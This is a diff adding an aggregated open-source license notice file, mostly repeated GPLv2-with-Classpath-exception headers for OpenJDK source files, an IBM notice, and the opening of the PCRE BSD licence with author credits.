+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2009, 2013, Oracle and/or its affiliates. All rights reserved.
+Copyright 2009 Google Inc.  All Rights Reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2010, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2012, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright 2015 Google Inc.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Google designates this
+particular file as subject to the "Classpath" exception as provided
+by Google in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+-------------------------------------------------------------------
+
+Licensed Materials - Property of IBM
+
+(C) Copyright IBM Corp. 1999 All Rights Reserved.
+(C) IBM Corp. 1997-1998.  All Rights Reserved.
+
+The program is provided "as is" without any warranty express or
+implied, including the warranty of non-infringement and the implied
+warranties of merchantibility and fitness for a particular purpose.
+IBM will not be liable for any damages suffered by you as a result
+of using the Program. In no event will IBM be liable for any
+special, indirect or consequential damages or lost profits even if
+IBM has been advised of the possibility of their occurrence. IBM
+will not be liable for any third party claims against you.
+
+-------------------------------------------------------------------
+
+is licensed under the same terms.  The copyright and license information
+for java/net/Inet4AddressImpl.java follows.
+
+Copyright (c) 2002, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+licensed under the same terms. The copyright and license information for
+java/net/PlainDatagramSocketImpl.java follows.
+
+Copyright (c) 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+licensed under the same terms. The copyright and license information for
+java/net/PlainSocketImpl.java follows.
+
+Copyright (c) 2007, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+licensed under the same terms. The copyright and license information for
+sun/nio/ch/FileChannelImpl.java follows.
+
+Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+licensed under the same terms. The copyright and license information for
+sun/nio/ch/FileDispatcherImpl.java follows.
+
+Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+licensed under the same terms. The copyright and license information for
+sun/nio/ch/InheritedChannel.java follows.
+
+Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+licensed under the same terms. The copyright and license information for
+sun/nio/ch/ServerSocketChannelImpl.java follows.
+
+Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+same terms. The copyright and license information for sun/nio/ch/Net.java
+follows.
+
+Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+the same terms. The copyright and license information for
+java/io/FileSystem.java follows.
+
+Copyright (c) 1998, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+the same terms. The copyright and license information for
+java/lang/Long.java follows.
+
+Copyright (c) 1994, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+the same terms. The copyright and license information for
+sun/nio/ch/IOStatus.java follows.
+
+Copyright (c) 2002, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+under the same terms. The copyright and license information for
+java/io/UnixFileSystem.java follows.
+
+Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+under the same terms. The copyright and license information for
+java/lang/Integer.java follows.
+
+Copyright (c) 1994, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+under the same terms. The copyright and license information for
+java/net/NetworkInterface.java follows.
+
+Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+under the same terms. The copyright and license information for
+java/net/SocketOptions.java follows.
+
+Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+under the same terms. The copyright and license information for
+java/util/zip/ZipFile.java follows.
+
+Copyright (c) 1995, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+======================================================================
+external/pcre/NOTICE
+
+PCRE LICENCE
+------------
+
+PCRE is a library of functions to support regular expressions whose syntax
+and semantics are as close as possible to those of the Perl 5 language.
+
+Release 8 of PCRE is distributed under the terms of the "BSD" licence, as
+specified below. The documentation for PCRE, supplied in the "doc"
+directory, is distributed under the same terms as the software itself.
+
+The basic library functions are written in C and are freestanding. Also
+included in the distribution is a set of C++ wrapper functions, and a
+just-in-time compiler that can be used to optimize pattern matching. These
+are both optional features that can be omitted when the library is built.
+
+
+THE BASIC LIBRARY FUNCTIONS
+---------------------------
+
+Written by:       Philip Hazel
+Email local part: ph10
+Email domain:     cam.ac.uk
+
+University of Cambridge Computing Service,
+Cambridge, England.
+
+Copyright (c) 1997-2014 University of Cambridge
+All rights reserved.
+
+
+PCRE JUST-IN-TIME COMPILATION SUPPORT
+-------------------------------------
+
+Written by:       Zoltan Herczeg
+Email local part: hzmester
+Emain domain:     freemail.hu
+
+Copyright(c) 2010-2014 Zoltan Herczeg
+All rights reserved.
+
+
+STACK-LESS JUST-IN-TIME COMPILER
+--------------------------------
+
+Written by:       Zoltan Herczeg
+Email local part: hzmester
+Emain domain:     freemail.hu
+
+Copyright(c) 2009-2014 Zoltan Herczeg
+All rights reserved.
+
+
